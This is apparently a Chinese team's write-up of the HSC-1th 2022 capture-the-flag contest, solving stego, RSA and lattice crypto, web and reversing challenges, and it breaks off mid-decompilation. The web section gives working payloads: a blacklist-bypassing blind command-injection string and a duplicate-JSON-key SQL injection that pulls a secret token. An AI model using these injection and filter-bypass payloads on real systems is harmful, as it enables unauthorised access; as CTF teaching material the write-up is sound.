HSC-1th 2022

本届HSC1th 2022是由社会战队红客突击队(Honker Security Commando)举办。 本次比赛将采用在线网络安全夺旗挑战赛的形式,涵盖web,crypto,misc,re等主流方向,并面向全球开放。比赛三甲可获突击队周边礼品。

Rank: 2


MISC

Sign-in

前往红客突击队公众号发送“HSC2019”并签到吧!

公众号签到。

flag{HSC_W3LC0M3}

DORAEMON

zip压缩包注释 哆啦A梦把泡好的QR放进口袋后,用六位数字把自己放好了。你能找到它吗?,爆破得到密码 376852

得到png图片用16进制修改器修改高度,得到缺少两个定位图案的二维码;

修复上方两个定位图案,扫描得flag:flag{sing1emak3r10v3m!sc}

汝闻,人言否

png文件后存在zip压缩包,提取后在16进制查看器下修复压缩包,将两处 4B 50 修改为 50 4B

发现zip压缩包加密,注释 qazsedcftrfvgycft6yhntgbnytfvbhyik,.;p 为键盘密码,在键盘上画出六个字母 WVALOU 为解压密码,得到 flag 文件,16进制查看发现为wav文件结构;

使用audacity查看wav文件,在频谱图发现flag:flag:e5353bb7b57578bd4da1c898a8e2d767

PERFORMANCE-ART

两种图形替换密码的混合,其中一种为标准银河字母(Standard Galactic Alphabet),猜测另一种代表数字,根据形状和出现概率,猜测出前几位 504B0304140000000,为zip压缩包文件头。

依次还原所有字符:

1
2
3
4
5
6
7
8
9
10
504b03041400000008004a7e7253148e1e
1e160000001400000006000000756e6b6e6
f778bcaadc888322ec9f30b752df70c
cfae8cca72b30400504b01021f0014000
00008004a7e7253148e1e1e16000000140
000000600240000000000000020000000000
00000756e6b6e6f770a002000000000000
1001800778284ef50dcd7016b04efef5
0dcd701e1b0ef144fdcd701504b05060
000000001000100580000003a0000000000

保存为zip文件,打开得到内容 ZmxhZ3tnNUEwIWkyZjF9,base64解码得flag:flag{g5A0!i2f1}

WIRESHARK

zip压缩包后存在png图片,提取后使用zsteg查看LSB隐写,在 b1,rgb,lsb,xy 通道隐写了一张png图片,提取:

zsteg -E "b1,rgb,lsb,xy" Untitled1.png > out.png

是一张二维码,扫描得到内容 wrsak..iehr370,栅栏解密 wireshark3.7.0

解压最开始的zip压缩包得到 wireshark,16进制查看发现为pdf文件结构,文件头被修改过,还原为 %PDF25 50 44 46)正常打开,内容无有用信息,猜想为PDF隐写;

使用wbStego工具从pdf文件成功提取出flag:flag{Go0dJ0B_y0ufIndLt}

PCXP

百度网盘https://pan.baidu.com/s/12q5ULEp_RD62MwbV5eE11A 提取码:1qih

奶牛快传https://cowtransfer.com/s/b76470ddc9e04a

蓝奏云https://wwo.lanzouy.com/b030r1x4j 密码:cvi0

本题目文件PCXP1与PCXP2均需要下载!

本题文件中flag{raw_Imfig3_mLs3}属于干扰项

两个dump内存的raw文件,用volatility分析。

其中一个发现 ffflaaagggg.rar 文件:

0x000000000227db70 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\ffflaaagggg.rar

根据提示,另一个发现 mirror.rar 文件:

0x00000000021221e0 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\mirror.rar

分别dumpfiles,按注释key:mirror 解压 mirror.rar,提取 mirror.png,发现后半部分有反转的png,reverse处理得到png内有密码 HSC-1th202248H

用密码解压 ffflaaagggg.rar,得到 secret.pcap,用tshark提取USB流量无结果;

查看16进制发现存在PNG文件头,用foremost提取出两张png图片,画面相同大小不同,猜测为盲水印隐写;

使用BlindWaterMark工具提取:

python3 bwmforpy3.py decode 00000030.png 00000094.png out.png

得到flag:flag{Wat3rMarkPtysc}

outx

CRYPTO

Easy SignIn

5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A4E524564565646644D515670455130354C5755644F5231685256314A5452315A5552304E57576C5A49525430395054303950513D3D

ciphey一把梭,flag:flag{welc0me_to_my_s1gn_in}

AFFINE

flag{md5(result)}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-
import string
import hashlib

letter=string.ascii_letters+string.digits

def encrypt(m, c, a, b):
for i in range(len(m)):
ch=m[i]
t=(letter.index(ch) * a + b) % 62
c.append(letter[t])
d = ''.join(c)
print(d)

m =
c = []
a =
b =

assert ("flag" in m)

print("加密后的密文为:")
Cipher = encrypt(m, c, a, b)
flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
#print(flag)
"""
加密后的密文为:
xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv
"""

仿射密码加密,先根据密文和明文,爆破各位置存在 flag 字符串情况下对应的 a,b 值,再解密整串密文。

爆破求 a,b

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import string
import hashlib

letter=string.ascii_letters+string.digits

def encrypt(m, a, b):
c = []
for i in range(len(m)):
ch=m[i]
t=(letter.index(ch) * a + b) % 62
c.append(letter[t])
d = ''.join(c)
return d

s='xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv'
for a in range(50):
for b in range(50):
Cipher = encrypt('flag', a, b)
for k in range(len(s)-3):
if Cipher==s[k:k+4]:
print(Cipher,a,b)
# korv 11 17

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
a=11
b=17

def decrypt(m, a, b):
import gmpy2
c = []
for i in range(len(m)):
ch=m[i]
t=((letter.index(ch) - b) * gmpy2.invert(a,62)) % 62
c.append(letter[t])
d = ''.join(c)
return d

m=decrypt(s, a, b)
print(m)
flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
print(flag)
# Oh62Affine1sSti1lN0tSecureEnoughToProtectflag
# 2b9b99caae1cc49e5b5aacbc8cc22350

flag:flag{2b9b99caae1cc49e5b5aacbc8cc22350}

LINE-GENERATION-TEST

“Sorry, Tazmi, I can’t hold you in my arms anymore” Who said that? flag{md5(result)}

task

根据 enc 结果,猜测为 $\mod 26$ 下的矩阵运算,值对应字母序,简单用z3解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from z3 import *

f=[Int(f'f{i}') for i in range(5)]
out=[9,23,0,13,19]

ss=Solver()

ss.add((f[0]+f[1])%26==out[0])
ss.add((f[1]+f[4])%26==out[1])
ss.add((f[2]+f[3]+f[4])%26==out[2])
ss.add((f[1]+f[2]+f[3])%26==out[3])
ss.add((f[3])%26==out[4])

for i in range(5):
ss.add(f[i]>=0)
ss.add(f[i]<26)

ss.check()
m=ss.model()
print(m)
res=''
for i in range(5):
res+=chr(m[f[i]].as_long()+ord('A'))

print(res)
# RSCTF

MD5,得flag:flag{e4163deba70420c58acb87abcab34141}

LATTICE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
from gmpy2 import *

flag = b'flag{******}'.strip(b'flag{').strip(b'}')
_length = len(flag)
f1, f2, f3 = [flag[_*_length//3:(_+1)*_length//3] for _ in range(3)]

e = 0x10001

# part1
m1 = bytes_to_long(f1)
p1 = getPrime(1024)
q1 = getPrime(1024)
n1 = p1 * q1
phi1 = n1 - p1 - q1 + 1
c1 = pow(m1, e, n1)
e1 = invert(getPrime(730), phi1)
e2 = invert(getPrime(730), phi1)
print(f"c1={c1}")
print(f"n1={n1}")
print(f"e1, e2={e1}, {e2}")
# c1=...
# n1=...
# e1, e2=...

# part2
m2 = bytes_to_long(f2)
p2 = getPrime(1024)
q2 = getPrime(1024)
n2 = p2 * q2
phi2 = n2 - p2 - q2 + 1
c2 = pow(m2, e, n2)
e1 = invert(getPrime(818), phi2)
e2 = invert(getPrime(818), phi2)
e3 = invert(getPrime(818), phi2)
print(f"c2={c2}")
print(f"n2={n2}")
print(f"e1, e2, e3={e1}, {e2}, {e3}")
# c2=...
# n2=...
# e1, e2, e3=...

# part3
m3 = bytes_to_long(f3)
nl = []
cl = []
el = []
d = getPrime(890)
for _ in range(7):
p3 = getPrime(1024)
q3 = getPrime(1024)
n3 = p3 * q3
phi3 = n3 - p3 - q3 + 1
e3 = invert(d, phi3)
c3 = pow(m3, e3, n3)
nl.append(n3)
el.append(int(e3))
cl.append(int(c3))
print(f"nl={nl}")
print(f"el={el}")
print(f"cl={cl}")
# nl=[...]
# el=[...]
# cl=[...]

RSA的两种涉及格的LLL算法的攻击情形(多组低解密指数攻击+共私钥指数攻击)。

Part1,2组 $e$ 的低解密指数攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Sage
import gmpy2
N =
e1 =
e2 =
c =
for i in range(1000):
alpha2 = i/1000
M1 = int(gmpy2.mpz(N)**0.5)
M2 = int( gmpy2.mpz(N)**(1+alpha2) )
D = diagonal_matrix(ZZ, [N, M1, M2, 1])
B = Matrix(ZZ, [ [1, -N, 0, N**2],
[0, e1, -e1, -e1*N],
[0, 0, e2, -e2*N],
[0, 0, 0, e1*e2] ]) * D
L = B.LLL()
v = Matrix(ZZ, L[0])
x = v * B**(-1)
phi = (x[0,1]/x[0,0]*e1).floor()
try:
d = inverse_mod(65537, phi)
m = bytes.fromhex(hex(power_mod(c, d, N))[2:])
if len(m)<20:
print(m)
break
except:
pass
# b'89c63fd5-00c'

Part2,3组 $e$ 的低解密指数攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Sage
import gmpy2
N =
e1 =
e2 =
e3 =
c =
for i in range(1000):
alpha2 = i/1000
M1 = int(gmpy2.mpz(N)**(3./2))
M2 = int( gmpy2.mpz(N) )
M3 = int(gmpy2.mpz(N)**(3./2 + alpha2))
M4 = int( gmpy2.mpz(N)**(0.5) )
M5 = int( gmpy2.mpz(N)**(3./2 + alpha2) )
M6 = int( gmpy2.mpz(N)**(1.+alpha2) )
M7 = int( gmpy2.mpz(N)**(1.+alpha2) )
D = diagonal_matrix(ZZ, [M1, M2, M3, M4, M5, M6, M7, 1])
B = Matrix(ZZ, [ [1, -N, 0, N**2, 0, 0, 0, -N**3],
[0, e1, -e1, -e1*N, -e1, 0, e1*N, e1*N**2],
[0, 0, e2, -e2*N, 0, e2*N, 0, e2*N**2],
[0, 0, 0, e1*e2, 0, -e1*e2, -e1*e2, -e1*e2*N],
[0, 0, 0, 0, e3, -e3*N, -e3*N, e3*N**2],
[0, 0, 0, 0, 0, e1*e3, 0, -e1*e3*N],
[0, 0, 0, 0, 0, 0, e2*e3, -e2*e3*N],
[0, 0, 0, 0, 0, 0, 0, e1*e2*e3] ]) * D
L = B.LLL()
v = Matrix(ZZ, L[0])
x = v * B**(-1)
phi_ = (e1*x[0,1]/x[0,0]).floor()
try:
d = inverse_mod(65537, phi_)
m = hex(power_mod(c, d, N))[2:]
m = bytes.fromhex(hex(power_mod(c, d, N))[2:])
if len(m)<20:
print(m)
break
except:
pass
# b'f-4ae0-b369-'

Part3,共私钥指数 $d$ 攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from gmpy2 import *
nl=[...]
el=[...]
cl=[...]
ind=[]
nl_s=sorted(nl)
for i in range(7):
ind.append(nl.index(nl_s[i]))
print(ind)
e=[]
n=[]
c=[]
for i in range(7):
e.append(el[ind[i]])
n.append(nl[ind[i]])
c.append(cl[ind[i]])

M=iroot(int(n[6]),int(2))[0]
a=[0]*8
a[0]=[M,e[0],e[1],e[2],e[3],e[4],e[5],e[6]]
a[1]=[0,-n[0],0,0,0,0,0,0]
a[2]=[0,0,-n[1],0,0,0,0,0]
a[3]=[0,0,0,-n[2],0,0,0,0]
a[4]=[0,0,0,0,-n[3],0,0,0]
a[5]=[0,0,0,0,0,-n[4],0,0]
a[6]=[0,0,0,0,0,0,-n[5],0]
a[7]=[0,0,0,0,0,0,0,-n[6]]

Mat = matrix(ZZ,a)
Mat_LLL=Mat.LLL()
d = abs(Mat_LLL[0][0])//M
print(d)
print(bytes.fromhex(hex(pow(c[6],int(d),int(n[6])))[2:]))
# b'5a3d94a20a2c'

连接得flag:flag{89c63fd5-00cf-4ae0-b369-5a3d94a20a2c}

RSA

flag{md5(result)}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import gmpy2
import sympy
from Crypto.Util.number import *

flag = b'????'

z=getPrime(1024)
p=sympy.nextprime(z)
q=sympy.prevprime(10*z)
n=p*q

m=bytes_to_long(flag)
e=0xe18e
c=pow(m,e,n)

print("n=",n)
print("c=",c)

#n= ...
#c= ...

费马分解RSA,发现 $\gcd(e,\varphi(n))=2$,令 $e’=\frac{e}{2},m’=m^2$,

先求出 $m’$,再利用Rabin算法求 $m$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
n = 
c =
e = 0xe18e
import gmpy2
p = gmpy2.iroot(n//10,2)[0]
while 1:
p = gmpy2.next_prime(p)
if n%p==0:
break
q = n//p
f = (p-1)*(q-1)
d = gmpy2.invert(e//2,f)
mm = pow(c,d,n)
print(mm)

def rabin_decrypt(c, p, q, e=2):
n = p * q
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
yp = gmpy2.invert(p, q)
yq = gmpy2.invert(q, p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
return (r, rr, s, ss)

m = rabin_decrypt(mm,p,q)
for i in range(4):
try:
print(bytes.fromhex(hex(m[i])[2:]))
except:
pass
# b'flag{6d22773623d3d5c871692e9985de5f16}'

BABY-RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import *


def lfsr(status,mask):
out = (status << 1) & 0xffffffff
i=(status&mask)&0xffffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
out^=lastbit
return (out,lastbit)

status= 1
mask = 0b10110001110010011100100010110101

num = bytes_to_long(m)

p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537

hp = bin(p)[2:]
c = pow(num, e, n)

print("n=",n)
print("c=",c)

f=open("key","w+",encoding='utf-8')
for i in range(568):
curnum = int(hp[i])
(status,out)=lfsr(status,mask)
f.write(str(curnum ^ out))
f.close()

'''
n= ...
c= ...
'''
'''
key:
0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010
'''

RSA $p$ 高位泄露攻击+LFSR。

先用LFSR结果异或还原 $p$ 高位 $hp$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def lfsr(status,mask):
out = (status << 1) & 0xffffffff
i=(status&mask)&0xffffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
out^=lastbit
return (out,lastbit)

status= 1
mask = 0b10110001110010011100100010110101

c = list('0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010')
c=[int(k) for k in c]

hp = ''
for i in range(568):
(status,out) = lfsr(status,mask)
hp += str(c[i]^out)

hp = int(hp, 2)
print(hp)
# 484896331241166236766986322307256381427323829969266475890843705533431739217993785274442520213477613786483789873490025705365184544110819157393140954140256890174240795425112

此时 $hp$ 有568位,根据Coppersmith定理,1024位的 $p$ 至少需要高576位才能恢复完整 $p$,需爆破8位二进制位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Sage
n = 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
hp = 484896331241166236766986322307256381427323829969266475890843705533431739217993785274442520213477613786483789873490025705365184544110819157393140954140256890174240795425112

import string
dic = string.digits + "abcdef"

for a in dic:
for b in dic:
pp = hex(hp) + a + b
#p需要用0补全到1024位
pp += '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
#要加的数字与补全p时0的个数有关
pp = int(pp, 16)
p_fake = pp+0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
pbits = 1024
kbits = pbits-576
pbar = p_fake & (2^pbits-2^kbits)
#print("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits))
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
try:
x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.4
print(x0 + pbar)
except:
pass
# 90225006288627020933267024425797647042965554486273674145474629022335483579168020321334177600624475358419458781387021577078957978886555066264514364951229871833611713144617155837023313756741716041993159155093522769416742461683810041045361926334946115547487234272520914249496954864904467634471167509689549908477

最后常规RSA:

1
2
3
4
5
6
7
8
9
10
11
p = 90225006288627020933267024425797647042965554486273674145474629022335483579168020321334177600624475358419458781387021577078957978886555066264514364951229871833611713144617155837023313756741716041993159155093522769416742461683810041045361926334946115547487234272520914249496954864904467634471167509689549908477
n = 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
c = 3641304537029815746727163894554557322382012539953948183406308231174259571263608621970973671202001456955622458371303424750815017578104069924877881162707673935496925529412748663209884628320657034190702348924814794263041483260377960569530869386619921425415323912964305979776909598200202236912823968867485696101691879580799000240715778010424877093758489309380968229017074542588151574195295436881889313935734282141447498134543053106463951864974512375314091440713165047188590693431938599822340588934591712592995622334522799914563528630705687647950894928965913199772209825508001274120556508220248069647851360567609656517789
q = n//p
e = 0x10001
import gmpy2
f = (p-1)*(q-1)
d = gmpy2.invert(e,f)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))
# b'flag{fbbce1e3aa690ebb49039241f940ed26}'

WEB

CLICK

查看源码,找到 main.js,发现 ZmxhZ3thNTNlMTgzOC01OTczLTRlY2MtOWFjMC00ODZlOTA0NThhMTl9Cg==,base64解码得flag。

Web-sign in

提示robots协议,访问 robots.txt,发现存在 fiag_ls_h3re.php

访问发现右键被禁用,加前缀 view-source: 查看源码得flag。

EXEC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);
if(isset($_REQUEST["cmd"])){
$shell = $_REQUEST["cmd"];
$shell = str_ireplace(" ","",$shell);
$shell = str_ireplace("\n","",$shell);
$shell = str_ireplace("\t","",$shell);
$shell = str_ireplace("?","",$shell);
$shell = str_ireplace("*","",$shell);
$shell = str_ireplace("<","",$shell);
$shell = str_ireplace("system","",$shell);
$shell = str_ireplace("passthru","",$shell);
$shell = str_ireplace("ob_start","",$shell);
$shell = str_ireplace("getenv","",$shell);
$shell = str_ireplace("putenv","",$shell);
$shell = str_ireplace("mail","",$shell);
$shell = str_ireplace("error_log","",$shell);
$shell = str_ireplace("`","",$shell);
$shell = str_ireplace("exec","",$shell);
$shell = str_ireplace("shell_exec","",$shell);
$shell = str_ireplace("echo","",$shell);
$shell = str_ireplace("cat","",$shell);
$shell = str_ireplace("ls","",$shell);
$shell = str_ireplace("nl","",$shell);
$shell = str_ireplace("tac","",$shell);
$shell = str_ireplace("bash","",$shell);
$shell = str_ireplace("sh","",$shell);
$shell = str_ireplace("tcp","",$shell);
$shell = str_ireplace("base64","",$shell);
$shell = str_ireplace("flag","",$shell);
$shell = str_ireplace("cp","",$shell);
exec($shell);
}else{
highlight_file(__FILE__);
}

带黑名单的无回显RCE,可以重定向写命令执行结果到文件,关键字可双写绕过,空格用$IFS绕过。

列目录:?cmd=llss$IFS/>1.txt,得到根目录flag文件名 ctf_is_fun_flag2021

读文件:?cmd=uniq$IFS/ctf_is_fun_flflagag2021>1.txt,得到flag。

Language

源码里有python和go两个文件夹,有两个服务,端口8000是python开的,映射到对外端口;内网端口5000是go服务。python代码相当于中转站接受外网请求,处理后转发给go,go进行底层处理。

go服务中关键代码 backend.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package controller

import (
db "ctf/database"
"encoding/json"
"fmt"
"github.com/buger/jsonparser"
"io/ioutil"
"net/http"
)

type Language struct {
Id int32 `json:"id"`
Name string `json:"name"`
Votes int64 `json:"votes"`
}


func Index(w http.ResponseWriter, _ *http.Request) {
ok(w, "Hello World!")
}

func List(w http.ResponseWriter, _ *http.Request) {

rows, err := db.Sqlite.Query("SELECT * FROM languages;")
if err != nil {
fail(w, "Something wrong")
fmt.Println(err.Error())
return
}
defer rows.Close()

res := make([]Language, 0)
for rows.Next() {
var pl Language
_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
res = append(res, pl)
}
err = json.NewEncoder(w).Encode(res)
}

func Search(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)

votes, err := jsonparser.GetInt(reqBody, "votes")
if err != nil {
fail(w, "Error reading votes")
return
}
name, err := jsonparser.GetString(reqBody, "name")
if err != nil {
fail(w, "Error reading name")
return
}

query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)
rows, err := db.Sqlite.Query(query)
if err != nil {
fail(w, "Something wrong")
fmt.Println(err.Error())
return
}
res := make([]Language, 0)
for rows.Next() {
var pl Language
_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
res = append(res, pl)
}
err = json.NewEncoder(w).Encode(res)
}


func Flag(w http.ResponseWriter, r *http.Request ) {
action:= r.URL.Query().Get("action")
if action == "" {
fail(w, "Error getting action")
return
}

token:= r.URL.Query().Get("token")
if token == "" {
fail(w, "Error getting token")
return
}

var secret string
row := db.Sqlite.QueryRow("SELECT secret FROM token;")
if err := row.Scan(&secret); err != nil {
fail(w, "Error querying secret token")
return
}

if action == "readFlag" && secret == token {
data, err := ioutil.ReadFile("flag")
if err != nil {
fail(w, "Error reading flag")
return
}
ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
return
}
ok(w, "Wrong token")
}

路由 /flag 中GET两个参数 ?action=readFlag&token=xxxxx,token正确得flag,而路由 /search 中容易通过SQL注入拿到token。

python服务中 app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from flask import Flask, request, render_template, jsonify
from urllib.parse import unquote
import requests

app = Flask(__name__)

server = '127.0.0.1:8000'


@app.route("/", methods=["GET"])
def index():
return render_template("index.html")


@app.route("/list", methods=["POST"])
def listAll():
r = requests.post(f"http://{server}/api/list")
return jsonify(r.json())


@app.route("/search", methods=["GET", "POST"])
def search():
if request.method == "GET":
return render_template("search.html")
else:
data = request.json
if data['name']:
if not isinstance(data['name'], str) or not data['name'].isalnum():
return jsonify({"error": "Bad word detected"})
if data['votes']:
if not isinstance(data['votes'], int):
return jsonify({"error": "Bad word detected"})
r = requests.post(f"http://{server}/api/search", data=request.data)
return jsonify(r.json())


@app.route("/healthcheck", methods=["GET"])
def healthCheck():
getPath = ["", "flag"]
postPath = ["api/list", "api/search"]
try:
for path in getPath:
requests.get(f"http://{server}/{path}")
for path in postPath:
requests.post(f"http://{server}/{path}")
except:
return "Down"
return "OK"


@app.route("/<path:path>", methods=["GET"])
def handle(path):
if 'flag' in unquote(path):
action = request.args.get('action')
token = request.args.get('token')
print(action)
if action == "readFlag":
return jsonify({"error": "Sorry, readFlag is not permitted"})
r = requests.get(f"http://{server}/{path}", params={
"action": action,
"token": token
})
else:
r = requests.get(f"http://{server}/{path}")
return jsonify(r.text)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

发现其中存在两个点需要绕过:

  1. 路由 /search 中JSON严格过滤,name 的值必须满足 isalnum()votes 的值必须为数字,避免SQL注入情况;
  2. 检测url里使用GET方法传入 action=readFlag 会直接拒绝。

对于第1点,尝试构造含两个 name 参数的JSON,在python中认JSON中第二个 name,而go中认JSON中第一个 name,利用这种差异构造:{"votes":1,"name":"-1' union select 1,secret,3 from token --+","name":[]},绕过得到token值,得到 re@l1y_4th_T0k3n

对于第2点,利用 @app.route("/<path:path>") 特性,对 ? 进行url编码可以在python层面绕过GET参数识别,即 action = request.args.get('action') 不会获取到内容,payload:/flag%3faction=readFlag&token=re@l1y_4th_T0k3n

得到flag:"{\"msg\":\"Congrats this is your flag: flag{73c468d2-582e-4fdf-8be9-72efe6cbb9a2}\\n\"}\n"

REVERSE

hiahia o(*^▽^*)┛

IDA查看伪码,无逆向,照着实现就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
s=list(b'igdb~Mumu@p&>%;%<$<p')

def flag(c,k):
if k>9:
if k&1==0:
return c-11
else:
return c+13
else:
if k&1==0:
return c-3
else:
return c+5
t=''
for i in range(len(s)):
t+=chr(flag(s[i],i))
print(t)
# flag{RrrrEe33202111}

ANDROID

jadx查看MainActivity主逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public void onClick(View view) {
String trim = this.input.getText().toString().trim();
int[] iArr = {102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42};
int[] iArr2 = {42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42};
if (trim.length() != 18) {
this.input.setText("FLAG错误");
return;
}
char[] charArray = trim.toCharArray();
for (int i = 0; i < 17; i++) {
iArr2[i] = i % 2 == 0 ? charArray[i] ^ i : charArray[i] ^ charArray[i + 1];
}
String str = "";
for (int i2 = 0; i2 < 18; i2++) {
str = str.concat(Integer.toHexString(iArr2[i2])).concat(",");
}
System.out.println(str);
for (int i3 = 0; i3 < 18; i3++) {
if (iArr2[i3] != iArr[i3]) {
this.input.setText("FLAG错误!");
return;
}
}
this.input.setText("FLAG正确");
}

用z3解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from z3 import *

flag=[BitVec(f'flag{i}',7) for i in range(18)]
out=[102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42]

s=[42]*19
ss=Solver()

for i in range(17):
if i%2==0:
s[i]=flag[i]^i
else:
s[i]=flag[i]^flag[i+1]

for i in range(18):
ss.add(s[i]==out[i])

ss.check()
m=ss.model()
res=''
for i in range(17):
res+=(chr(m[flag[i]].as_long()))

print(res)
# flag{Reverse__APP

加花括号闭合,得到flag:flag{Reverse__APP}

WAY

flag{md5(result)}

检测带upx壳,脱壳后IDA查看伪码,迷宫题,wsad代表上下左右,提取迷宫数组得:

1
2
3
4
5
OIIII
OOIO#
IOOOI
IOIOI
IIIII

容易得到路径:sdsddwd,MD5得到flag:flag{6654b3343f6f3f6223a721e7f65e87f8}

SPARK

Sparc架构,IDA无法反编译为伪码,用Ghidra得到伪码主逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
undefined8 main(void)

{
longlong unaff_g7;
int local_res7d3;
undefined8 local_res7d7;
undefined8 local_res7df;
undefined8 local_res7e7;
undefined8 local_res7ef;
longlong local_res7f7;

local_res7f7 = *(longlong *)(unaff_g7 + 0x28);
local_res7d7 = 0;
local_res7df = 0;
local_res7e7 = 0x37463f3044413243;
local_res7ef = 0x3429000000000000;
puts("input_sparkle_flag_here:\n");
read(0,&local_res7d7,0xc);
local_res7d3 = 0;
do {
if (9 < local_res7d3) {
puts("good_job!");
LAB_001008a0:
if (local_res7f7 == *(longlong *)(unaff_g7 + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) =
*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) + -0x2f;
